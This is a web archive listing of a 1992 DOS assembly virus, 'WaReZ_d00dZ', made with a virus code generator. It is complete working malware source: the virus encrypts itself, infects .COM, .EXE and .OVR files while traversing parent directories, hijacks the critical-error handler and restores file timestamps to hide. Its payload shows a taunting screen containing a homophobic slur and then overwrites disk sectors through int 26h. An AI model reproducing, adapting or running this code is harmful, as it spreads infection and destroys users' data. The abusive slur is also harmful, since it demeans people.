home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / WRZ_D00D.ASM < prev    next >
Assembly Source File  |  1992-09-22  |  22KB  |  682 lines

  1. ; PX.ASM : [WaReZ_d00dZ] by [pAgE]
  2. ; Created wik the Phalcon/Skism Mass-Produced Code Generator
  3. ; from the configuration file skeleton.cfg
  4.  
  5. .model tiny                             ; Handy directive
  6. .code                                   ; Virus code segment
  7.           org    100h                   ; COM file starting IP
  8. idi = 'FB'
  9. id = 'ZP'                               ; ID word for EXE infections
  10. entry_point: db 0e9h,0,0                ; jmp decrypt
  11.  
  12. decrypt:                                ; handles encryption and decryption
  13. patch_startencrypt:
  14.           mov  di,offset startencrypt   ; start of decryption
  15.           mov  cx,(offset heap - offset startencrypt)/2 ; iterations
  16. decrypt_loop:
  17.           db   2eh,81h,05h              ; add word ptr cs:[di], xxxx
  18. decrypt_value dw 0                      ; initialised at zero for null effect
  19.           inc  di                       ; calculate new decryption location
  20.           inc  di
  21.           loop decrypt_loop             ; decrypt mo'
  22. startencrypt:
  23.           call next                     ; calculate delta offset
  24. next:     pop  bp                       ; bp = IP next
  25.           sub  bp,offset next           ; bp = delta offset
  26.  
  27.           cmp  sp,id                    ; COM or EXE?
  28.           je   restoreEXE
  29.           cmp  sp,idi                    ; COM or EXE?
  30.           je   restoreOVR
  31.  
  32. restoreCOM:
  33.           lea  si,[bp+save3]
  34.           mov  di,100h
  35.           push di                       ; For later return
  36.           movsb
  37.           jmp  short restoreEXIT
  38. restoreEXE:
  39.           push ds
  40.           push es
  41.           push cs                       ; DS = CS
  42.           pop  ds
  43.           push cs                       ; ES = CS
  44.           pop  es
  45.           lea  si,[bp+jmpsave2]
  46.           lea  di,[bp+jmpsave]
  47.           movsw
  48.           movsw
  49.           movsw
  50. restoreOVR:
  51.           push ds
  52.           push es
  53.           push cs                       ; DS = CS
  54.           pop  ds
  55.           push cs                       ; ES = CS
  56.           pop  es
  57.           lea  si,[bp+jmpsave2]
  58.           lea  di,[bp+jmpsave]
  59.           movsw
  60.           movsw
  61.           movsw
  62. restoreEXIT:
  63.           movsw
  64.  
  65.           mov  byte ptr [bp+numinfec],50; reset infection counter
  66.  
  67.           mov  ah,1Ah                   ; Set new DTA
  68.           lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  69.           int  21h
  70.  
  71.           mov  ah,47h                   ; Get current directory
  72.           mov  dl,0                     ; Current drive
  73.           lea  si,[bp+origdir]          ; DS:SI->buffer
  74.           int  21h
  75.           mov  byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
  76.  
  77.           mov  ax,3524h                 ; Get int 24 handler
  78.           int  21h                      ; to ES:BX
  79.           mov  word ptr [bp+oldint24],bx; Save it
  80.           mov  word ptr [bp+oldint24+2],es
  81.           mov  ah,25h                   ; Set new int 24 handler
  82.           lea  dx,[bp+offset int24]     ; DS:DX->new handler
  83.           int  21h
  84.           push cs                       ; Restore ES
  85.           pop  es                       ; 'cuz it was changed
  86.  
  87. dir_scan:                               ; "dot dot" traversal
  88.  
  89.           lea  dx,[bp+ovr_mask]
  90.           call infect_mask
  91.           lea  dx,[bp+exe_mask]
  92.           call infect_mask
  93.           lea  dx,[bp+com_mask]
  94.           call infect_mask
  95.           mov  ah,3bh                   ; change directory
  96.           lea  dx,[bp+dot_dot]          ; "cd .."
  97.           int  21h
  98.           jnc  dir_scan                 ; go back for mo!
  99.  
  100. done_infections:
  101.           mov  ah,2ah                   ; Get current date
  102.           int  21h
  103.           cmp  dh,1                     ; Check month
  104.           jb   exit_virus
  105.           cmp  cx,1992                  ; Check year
  106.           jb   exit_virus
  107.           cmp  al,0                     ; Check date of week
  108.           jae  activate
  109.  
  110. exit_virus:
  111.           mov  ax,2524h                 ; Restore int 24 handler
  112.           lds  dx,[bp+offset oldint24]  ; to original
  113.           int  21h
  114.           push cs
  115.           pop  ds
  116.  
  117.           mov  ah,3bh                   ; change directory
  118.           lea  dx,[bp+origdir-1]        ; original directory
  119.           int  21h
  120.  
  121.           mov  ah,1ah                   ; restore DTA to default
  122.           mov  dx,80h                   ; DTA in PSP
  123.           cmp  sp,id-4                  ; EXE or COM?
  124.           jz   returnEXE
  125. returnCOM:
  126.           int  27h
  127.           retn                          ; 100h is on stack
  128. returnEXE:
  129.           pop  es
  130.           pop  ds
  131.           int  21h
  132.           mov  ax,es                    ; AX = PSP segment
  133.           add  ax,10h                   ; Adjust for PSP
  134.           add  word ptr cs:[bp+jmpsave+2],ax
  135.           add  ax,word ptr cs:[bp+stacksave+2]
  136.           cli                           ; Clear intrpts for stack manipulation
  137.           mov  sp,word ptr cs:[bp+stacksave]
  138.           mov  ss,ax
  139.           sti
  140. returnOVR:
  141.           pop  es
  142.           pop  ds
  143.           int  21h
  144.           mov  ax,es                    ; AX = PSP segment
  145.           add  ax,10h                   ; Adjust for PSP
  146.           add  word ptr cs:[bp+jmpsave+2],ax
  147.           add  ax,word ptr cs:[bp+stacksave+2]
  148.           cli                           ; Clear intrpts for stack manipulation
  149.           mov  sp,word ptr cs:[bp+stacksave]
  150.           mov  ss,ax
  151.           sti
  152.           db   0eah                     ; jmp ssss:oooo
  153. jmpsave             dd ?                ; Original CS:IP
  154. stacksave           dd ?                ; Original SS:SP
  155. jmpsave2            db ?                ; Actually four bytes
  156. save3               db 0cdh,20h,0       ; First 3 bytes of COM file
  157. stacksave2          dd ?
  158.  
  159. activate            proc    far
  160.  
  161. start:
  162.         jmp    short loc_1
  163.         db    90h
  164. data_2        db    0
  165. data_3        dw    2B1h
  166.         db    2
  167. data_4        dw    0
  168.                 db      'HEY!!! Blow ME, WaReZ FAGGOT'
  169.         db    1Ah
  170. data_5          db      'You got sorta lucky!!!', 0Dh, 0Ah
  171.         db    '$'
  172. loc_1:
  173.                 mov  ah,0Fh
  174.                 int  010h
  175.                 xor  ah,ah
  176.                 int  010h
  177.                 mov  ax,0002h
  178.                 mov  cx,0100h
  179.         mov    ah,0Fh
  180.         int    10h            ; Video display   ah=functn 0Fh
  181.                         ;  get state, al=mode, bh=page
  182.                         ;   ah=columns on screen
  183.         mov    bx,0B800h
  184.         cmp    al,2
  185.         je    loc_2            ; Jump if equal
  186.         cmp    al,3
  187.         je    loc_2            ; Jump if equal
  188.         mov    data_2,0
  189.         mov    bx,0B000h
  190.         cmp    al,7
  191.         je    loc_2            ; Jump if equal
  192.         mov    dx,offset data_5    ; ('Unsupported Video Mode')
  193.         mov    ah,9
  194.         int    21h            ; DOS Services  ah=function 09h
  195.                         ;  display char string at ds:dx
  196.         retn
  197. loc_2:
  198.         mov    es,bx
  199.         mov    di,data_4
  200.         mov    si,offset data_6
  201.         mov    dx,3DAh
  202.         mov    bl,9
  203.         mov    cx,data_3
  204.         cld                ; Clear direction
  205.         xor    ax,ax            ; Zero register
  206.  
  207. locloop_4:
  208.         lodsb                ; String [si] to al
  209.         cmp    al,1Bh
  210.         jne    loc_5            ; Jump if not equal
  211.         xor    ah,80h
  212.         jmp    short loc_20
  213. loc_5:
  214.         cmp    al,10h
  215.         jae    loc_8            ; Jump if above or =
  216.         and    ah,0F0h
  217.         or    ah,al
  218.         jmp    short loc_20
  219. loc_8:
  220.         cmp    al,18h
  221.         je    loc_11            ; Jump if equal
  222.         jnc    loc_12            ; Jump if carry=0
  223.         sub    al,10h
  224.         add    al,al
  225.         add    al,al
  226.         add    al,al
  227.         add    al,al
  228.         and    ah,8Fh
  229.         or    ah,al
  230.         jmp    short loc_20
  231. loc_11:
  232.         mov    di,data_4
  233.         add    di,data_1e
  234.         mov    data_4,di
  235.         jmp    short loc_20
  236. loc_12:
  237.         mov    bp,cx
  238.         mov    cx,1
  239.         cmp    al,19h
  240.         jne    loc_13            ; Jump if not equal
  241.         lodsb                ; String [si] to al
  242.         mov    cl,al
  243.         mov    al,20h            ; ' '
  244.         dec    bp
  245.         jmp    short loc_14
  246. loc_13:
  247.         cmp    al,1Ah
  248.         jne    loc_15            ; Jump if not equal
  249.         lodsb                ; String [si] to al
  250.         dec    bp
  251.         mov    cl,al
  252.         lodsb                ; String [si] to al
  253.         dec    bp
  254. loc_14:
  255.         inc    cx
  256. loc_15:
  257.         cmp    data_2,0
  258.         je    loc_18            ; Jump if equal
  259.         mov    bh,al
  260.  
  261. locloop_16:
  262.         in    al,dx            ; port 3DAh, CGA/EGA vid status
  263.         rcr    al,1            ; Rotate thru carry
  264.         jc    locloop_16        ; Jump if carry Set
  265. loc_17:
  266.         in    al,dx            ; port 3DAh, CGA/EGA vid status
  267.         and    al,bl
  268.         jnz    loc_17            ; Jump if not zero
  269.         mov    al,bh
  270.         stosw                ; Store ax to es:[di]
  271.         loop    locloop_16        ; Loop if cx > 0
  272.  
  273.         jmp    short loc_19
  274. loc_18:
  275.         rep    stosw            ; Rep when cx >0 Store ax to es:[di]
  276. loc_19:
  277.         mov    cx,bp
  278. loc_20:
  279.         jcxz    loc_ret_21        ; Jump if cx=0
  280.         loop    locloop_4        ; Loop if cx > 0
  281.  
  282.  
  283. loc_ret_21:
  284.  
  285.                     push    dx
  286.                     mov     al,002h
  287.                     mov     cx,030h
  288.                     cli
  289.                     cwd
  290.                     int     026h
  291.                     pop     dx
  292.                     mov     ax,04C00h
  293.                     int     021h
  294.  
  295. activate        endp
  296.           jmp  exit_virus
  297.  
  298. creator             db '[MPC]',0        ; Mass Produced Code Generator
  299. virusname           db '[WaReZ_d00dZ]',0
  300. author              db '[pAgE]',0
  301.  
  302. infect_mask:
  303.           mov  ah,4eh                   ; find first file
  304.           mov  cx,7                     ; any attribute
  305. findfirstnext:
  306.           int  21h                      ; DS:DX points to mask
  307.           jc   exit_infect_mask         ; No mo files found
  308.  
  309.           mov  al,0h                    ; Open read only
  310.           call open
  311.  
  312.           mov  ah,3fh                   ; Read file to buffer
  313.           lea  dx,[bp+buffer]           ; @ DS:DX
  314.           mov  cx,1Ah                   ; 1Ah bytes
  315.           int  21h
  316.  
  317.           mov  ah,3eh                   ; Close file
  318.           int  21h
  319.  
  320.           cmp  word ptr [bp+buffer],'ZM'; EXE?
  321.           jz   checkEXE                 ; Why yes, yes it is!
  322.           cmp  word ptr [bp+buffer],'FB'; EXE?
  323.           jz   checkOVR                 ; Why yes, yes it is!
  324. checkCOM:
  325.           mov  ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
  326.           mov  bx,word ptr [bp+buffer+1]; get jmp location
  327.           add  bx,heap-decrypt+3        ; Adjust for virus size
  328.           cmp  ax,bx
  329.           je   find_next                ; already infected
  330.           jmp  infect_com
  331. checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  332.           jnz  infect_exe
  333. checkOVR: cmp  word ptr [bp+buffer+10h],idi ; is it already infected?
  334.           jnz  infect_ovr
  335. find_next:
  336.           mov  ah,4fh                   ; find next file
  337.           jmp  short findfirstnext
  338. exit_infect_mask: ret
  339.  
  340. infect_exe:
  341.           les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  342.           mov  word ptr [bp+jmpsave2], ax
  343.           mov  word ptr [bp+jmpsave2+2], es
  344.  
  345.           les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  346.           mov  word ptr [bp+stacksave2], es
  347.           mov  word ptr [bp+stacksave2+2], ax
  348.  
  349.           mov  ax, word ptr [bp+buffer + 8] ; Get header size
  350.           mov  cl, 4                    ; convert to bytes
  351.           shl  ax, cl
  352.           xchg ax, bx
  353.  
  354.           les  ax, [bp+offset newDTA+26]; Get file size
  355.           mov  dx, es                   ; to DX:AX
  356.           push ax
  357.           push dx
  358.  
  359.           sub  ax, bx                   ; Subtract header size from
  360.           sbb  dx, 0                    ; file size
  361.  
  362.           mov  cx, 10h                  ; Convert to segment:offset
  363.           div  cx                       ; form
  364.  
  365.           mov  word ptr [bp+buffer+14h], dx ; New entry point
  366.           mov  word ptr [bp+buffer+16h], ax
  367.  
  368.           mov  word ptr [bp+buffer+0Eh], ax ; and stack
  369.           mov  word ptr [bp+buffer+10h], id
  370.  
  371.           pop  dx                       ; get file length
  372.           pop  ax
  373.  
  374.           add  ax, heap-decrypt         ; add virus size
  375.           adc  dx, 0
  376.  
  377.           mov  cl, 9
  378.           push ax
  379.           shr  ax, cl
  380.           ror  dx, cl
  381.           stc
  382.           adc  dx, ax
  383.           pop  ax
  384.           and  ah, 1                    ; mod 512
  385.  
  386.           mov  word ptr [bp+buffer+4], dx ; new file size
  387.           mov  word ptr [bp+buffer+2], ax
  388.  
  389.           push cs                       ; restore ES
  390.           pop  es
  391.  
  392.           push word ptr [bp+buffer+14h] ; needed later
  393.           mov  cx, 1ah
  394.           jmp  finishinfection
  395. infect_ovr:
  396.           les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  397.           mov  word ptr [bp+jmpsave2], ax
  398.           mov  word ptr [bp+jmpsave2+2], es
  399.  
  400.           les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  401.           mov  word ptr [bp+stacksave2], es
  402.           mov  word ptr [bp+stacksave2+2], ax
  403.  
  404.           mov  ax, word ptr [bp+buffer + 8] ; Get header size
  405.           mov  cl, 4                    ; convert to bytes
  406.           shl  ax, cl
  407.           xchg ax, bx
  408.  
  409.           les  ax, [bp+offset newDTA+26]; Get file size
  410.           mov  dx, es                   ; to DX:AX
  411.           push ax
  412.           push dx
  413.  
  414.           sub  ax, bx                   ; Subtract header size from
  415.           sbb  dx, 0                    ; file size
  416.  
  417.           mov  cx, 10h                  ; Convert to segment:offset
  418.           div  cx                       ; form
  419.  
  420.           mov  word ptr [bp+buffer+14h], dx ; New entry point
  421.           mov  word ptr [bp+buffer+16h], ax
  422.  
  423.           mov  word ptr [bp+buffer+0Eh], ax ; and stack
  424.           mov  word ptr [bp+buffer+10h],idi
  425.  
  426.           pop  dx                       ; get file length
  427.           pop  ax
  428.  
  429.           add  ax, heap-decrypt         ; add virus size
  430.           adc  dx, 0
  431.  
  432.           mov  cl, 9
  433.           push ax
  434.           shr  ax, cl
  435.           ror  dx, cl
  436.           stc
  437.           adc  dx, ax
  438.           pop  ax
  439.           and  ah, 1                    ; mod 512
  440.  
  441.           mov  word ptr [bp+buffer+4], dx ; new file size
  442.           mov  word ptr [bp+buffer+2], ax
  443.  
  444.           push cs                       ; restore ES
  445.           pop  es
  446.  
  447.           push word ptr [bp+buffer+14h] ; needed later
  448.           mov  cx, 1ah
  449.           jmp  short finishinfection
  450. infect_com:                             ; ax = filesize
  451.           mov  cx,3
  452.           sub  ax,cx
  453.           lea  si,[bp+offset buffer]
  454.           lea  di,[bp+offset save3]
  455.           movsw
  456.           movsb
  457.           mov  byte ptr [si-3],0e9h
  458.           mov  word ptr [si-2],ax
  459.           add  ax,103h
  460.           push ax                       ; needed later
  461. finishinfection:
  462.           push cx                       ; Save # bytes to write
  463.           xor  cx,cx                    ; Clear attributes
  464.           call attributes               ; Set file attributes
  465.  
  466.           mov  al,2
  467.           call open
  468.  
  469.           mov  ah,40h                   ; Write to file
  470.           lea  dx,[bp+buffer]           ; Write from buffer
  471.           pop  cx                       ; cx bytes
  472.           int  21h
  473.  
  474.           mov  ax,4202h                 ; Move file pointer
  475.           xor  cx,cx                    ; to end of file
  476.           cwd                           ; xor dx,dx
  477.           int  21h
  478.  
  479.           mov  ah,2ch                   ; Get current time
  480.           int  21h                      ; dh=sec,dl=1/100 sec
  481.           mov  [bp+decrypt_value],dx    ; Set new encryption value
  482.           lea  di,[bp+code_store]
  483.           mov  ax,5355h                 ; push bp,push bx
  484.           stosw
  485.           lea  si,[bp+decrypt]          ; Copy encryption function
  486.           mov  cx,startencrypt-decrypt  ; Bytes to move
  487.           push si                       ; Save for later use
  488.           push cx
  489.           rep  movsb
  490.  
  491.           xor  byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
  492.  
  493.           lea    si,[bp+write]          ; Copy writing function
  494.           mov    cx,endwrite-write      ; Bytes to move
  495.           rep    movsb
  496.           pop    cx
  497.           pop    si
  498.           pop    dx                     ; Entry point of virus
  499.           push   di
  500.           push   si
  501.           push   cx
  502.           rep    movsb                  ; Copy decryption function
  503.           mov    ax,5b5dh               ; pop bx,pop bp
  504.           stosw
  505.           mov    al,0c3h                ; retn
  506.           stosb
  507.  
  508.           add    dx,offset startencrypt - offset decrypt ; Calculate new
  509.           mov    word ptr [bp+patch_startencrypt+1],dx ; starting offset of
  510.           call   code_store             ; decryption
  511.           pop    cx
  512.           pop    di
  513.           pop    si
  514.           rep    movsb                  ; Restore decryption function
  515.  
  516.           mov  ax,5701h                 ; Restore creation date/time
  517.           mov  cx,word ptr [bp+newDTA+16h] ; time
  518.           mov  dx,word ptr [bp+newDTA+18h] ; date
  519.           int  21h
  520.  
  521.           mov  ah,3eh                   ; Close file
  522.           int  21h
  523.  
  524.           mov ch,0
  525.           mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  526.           call attributes               ; attributes
  527.  
  528.           dec  byte ptr [bp+numinfec]   ; One mo infection
  529.           jnz  mo_infections            ; Not enough
  530.           pop  ax                       ; remove call from stack
  531.           jmp  done_infections
  532. mo_infections: jmp find_next
  533.  
  534. open:
  535.           mov  ah,3dh
  536.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  537.           int  21h
  538.           xchg ax,bx
  539.           ret
  540.  
  541. attributes:
  542.           mov  ax,4301h                 ; Set attributes to cx
  543.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  544.           int  21h
  545.           ret
  546.  
  547. write:
  548.           pop  bx                       ; Restore file handle
  549.           pop  bp                       ; Restore relativeness
  550.           mov  ah,40h                   ; Write to file
  551.           lea  dx,[bp+decrypt]          ; Concatenate virus
  552.           mov  cx,heap-decrypt          ; # bytes to write
  553.           int  21h
  554.           push bx
  555.           push bp
  556. endwrite:
  557.  
  558. int24:                                  ; New int 24h (error) handler
  559.           mov  al,3                     ; Fail call
  560.           iret                          ; Return control
  561. data_6        db    9
  562.         db     10h,0D2h,0C4h,0C4h,0BFh, 20h
  563.         db    0D6h,0C4h,0C4h,0BFh, 20h,0D6h
  564.         db    0C4h,0C4h,0BFh, 20h,0B7h
  565.         db    20h            ; Data table (indexed access)
  566.         db    0D6h,0C4h,0D2h,0C4h,0BFh, 19h
  567.         db     03h,0D2h, 20h, 20h,0C2h, 20h
  568.         db    0D6h,0C4h,0C4h,0BFh, 20h,0D2h
  569.         db     20h, 20h,0C2h, 19h
  570.         dd    0DA20D203h        ; Data table (indexed access)
  571.         db     20h, 20h,0D6h,0C4h,0C4h,0BFh
  572.         db     20h,0D6h,0C4h,0C4h,0BFh, 20h
  573.         db    0D2h, 20h,0D2h, 20h,0C2h, 20h
  574.         db     20h, 18h,0BAh, 20h, 20h,0B3h
  575.         db     20h,0BAh, 20h, 20h,0B3h, 20h
  576.         db    0BAh, 20h, 20h,0B3h, 20h,0BDh
  577.         db     19h, 02h,0BAh, 19h, 05h,0D3h
  578.         db    0C4h,0C4h,0B4h, 20h,0BAh, 20h
  579.         db     20h,0B3h, 20h,0BAh, 20h, 20h
  580.         db    0B3h, 19h, 03h,0C7h,0C4h,0C1h
  581.         db    0BFh, 20h,0BAh, 20h, 20h,0B3h
  582.         db     20h,0BAh, 20h, 20h,0B3h, 20h
  583.         db    0BAh, 20h,0BAh, 20h,0B3h, 20h
  584.         db     20h, 18h,0D0h,0C4h,0C4h,0D9h
  585.         db     20h,0D3h,0C4h,0C4h,0D9h, 20h
  586.         db    0D0h, 20h, 20h,0C1h, 19h, 04h
  587.         db    0D0h, 19h, 05h,0D3h,0C4h,0C4h
  588.         db    0D9h, 20h,0D3h,0C4h,0C4h,0D9h
  589.         db     20h,0D3h,0C4h,0C4h,0D9h, 19h
  590.         db     03h,0D0h, 20h, 20h,0C1h, 20h
  591.         db    0D0h, 20h, 20h,0C1h, 20h,0D3h
  592.         db    0C4h,0C4h,0D9h, 20h,0D3h,0C4h
  593.         db    0D0h,0C4h,0D9h, 20h, 20h, 18h
  594.         db     19h, 41h, 18h,0D6h,0C4h,0D2h
  595.         db    0C4h,0BFh, 20h,0D2h, 20h, 20h
  596.         db    0C2h, 20h,0D6h,0C4h,0C4h,0BFh
  597.         db     20h,0D6h,0C4h,0D2h,0C4h,0BFh
  598.         db     19h, 03h,0D2h,0C4h,0C4h,0BFh
  599.         db     20h,0C4h,0D2h,0C4h, 20h,0D2h
  600.         db    0C4h,0C4h,0BFh, 20h,0D6h,0C4h
  601.         db    0C4h,0BFh, 20h,0D6h,0C4h,0C4h
  602.         db    0BFh, 20h,0D2h, 20h, 20h,0C2h
  603.         db     19h, 02h,0C4h,0D2h,0C4h, 20h
  604.         db     20h,0D6h,0C4h,0BFh, 20h, 20h
  605.         db     18h, 20h, 20h,0BAh, 19h, 02h
  606.         db    0C7h,0C4h,0C4h,0B4h, 20h,0C7h
  607.         db    0C4h,0C4h,0B4h, 19h, 02h,0BAh
  608.         db     19h, 05h,0C7h,0C4h,0C4h,0D9h
  609.         db     20h, 20h,0BAh, 20h, 20h,0C7h
  610.         db    0C4h,0C2h,0D9h, 20h,0C7h,0C4h
  611.         db    0C4h,0B4h, 20h,0BAh, 19h, 03h
  612.         db    0D3h,0C4h,0C4h,0B4h, 19h, 03h
  613.         dd    0D30219BAh        ; Data table (indexed access)
  614.         db    0C4h,0BFh, 20h, 20h, 18h, 20h
  615.         db     20h,0D0h, 19h, 02h,0D0h, 20h
  616.         db     20h,0C1h, 20h,0D0h, 20h, 20h
  617.         db    0C1h, 19h, 02h,0D0h, 19h, 05h
  618.         db    0D0h, 19h, 03h,0C4h,0D0h,0C4h
  619.         db     20h,0D0h, 20h,0C1h, 20h, 20h
  620.         db    0D0h, 20h, 20h,0C1h, 20h,0D3h
  621.         db    0C4h,0C4h,0D9h, 20h,0D3h,0C4h
  622.         db    0C4h,0D9h, 19h, 02h,0C4h,0D0h
  623.         db    0C4h, 20h,0D3h,0C4h,0C4h,0D9h
  624.         db     20h, 20h, 18h, 19h, 41h, 18h
  625.         db     19h, 41h, 18h, 19h, 07h, 0Ch
  626.         db     1Bh,0C4h,0C4h,0D2h,0C4h,0C4h
  627.         db     20h,0D2h, 19h, 06h,0D2h, 19h
  628.         db     06h,0D2h, 1Ah, 04h,0C4h,0BFh
  629.         db     20h,0D6h, 1Ah, 05h,0C4h, 20h
  630.         db    0D6h, 1Ah, 04h,0C4h,0BFh, 20h
  631.         db    0D2h, 19h, 0Ah, 18h, 19h, 09h
  632.         db    0BAh, 19h, 02h,0BAh, 19h, 06h
  633.         db    0BAh, 19h, 06h,0BAh, 19h, 06h
  634.         db    0BAh, 19h, 06h,0BAh, 19h, 04h
  635.         db    0B3h, 20h,0BAh, 19h, 0Ah, 18h
  636.         db     19h, 09h,0BAh, 19h, 02h,0BAh
  637.         db     19h, 06h,0BAh, 19h, 06h,0C7h
  638.         db    0C4h,0C4h, 19h, 04h,0BAh, 19h
  639.         db     02h,0DAh,0C4h,0BFh, 20h,0C7h
  640.         db     1Ah, 04h,0C4h,0B4h, 20h,0BAh
  641.         db     19h, 0Ah, 18h, 19h, 09h,0BAh
  642.         db     19h, 02h,0BAh, 19h, 06h,0BAh
  643.         db     19h, 06h,0BAh, 19h, 06h,0BAh
  644.         db     19h, 04h,0B3h, 20h,0BAh, 19h
  645.         db     04h,0B3h, 20h,0BAh, 19h, 0Ah
  646.         db     18h, 19h, 07h,0C4h,0C4h,0D0h
  647.         db    0C4h,0C4h, 20h,0D0h, 1Ah, 04h
  648.         db    0C4h,0D9h, 20h,0D0h, 1Ah, 04h
  649.         db    0C4h,0D9h, 20h,0D0h, 1Ah, 04h
  650.         db    0C4h,0D9h, 20h,0D3h, 1Ah, 04h
  651.         db    0C4h,0D9h, 20h,0D0h, 19h, 04h
  652.         db    0C1h, 20h,0D0h, 1Ah, 04h,0C4h
  653.         db    0D9h, 19h, 04h, 18h, 19h, 41h
  654.         db     18h, 19h, 41h, 18h
  655.         db    '  ', 9, 1Bh, 'I am afraid that I'
  656.         db    ' am going to have to smash your '
  657.         db    'WaReZ, d00d!!!'
  658.         db     18h, 19h, 41h, 18h, 19h, 41h
  659.         db     18h
  660.         db    20h
  661.         db    ' Go ahead! Call the police and t'
  662.         db    'ell them ', 0Ah, '[NuKe] ', 9, 'p'
  663.         db    'aid you a visit!'
  664.         db    18h
  665.  
  666. data_1e             equ     0A0h
  667. exe_mask            db '*.exe',0
  668. ovr_mask            db '*.ovr',0
  669. com_mask            db '*.com',0
  670. dot_dot             db '..',0
  671. heap:                                   ; Variables not in code
  672. ; The following code is the buffer for the write function
  673. code_store:         db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
  674. oldint24            dd ?                ; Storage for old int 24h handler      
  675. backslash           db ?
  676. origdir             db 64 dup (?)       ; Current directory buffer             
  677. newDTA              db 43 dup (?)       ; Temporary DTA                        
  678. numinfec            db ?                ; Infections this run                  
  679. buffer              db 1ah dup (?)      ; read buffer                          
  680. endheap:                                ; End of virus
  681. end       entry_point
  682.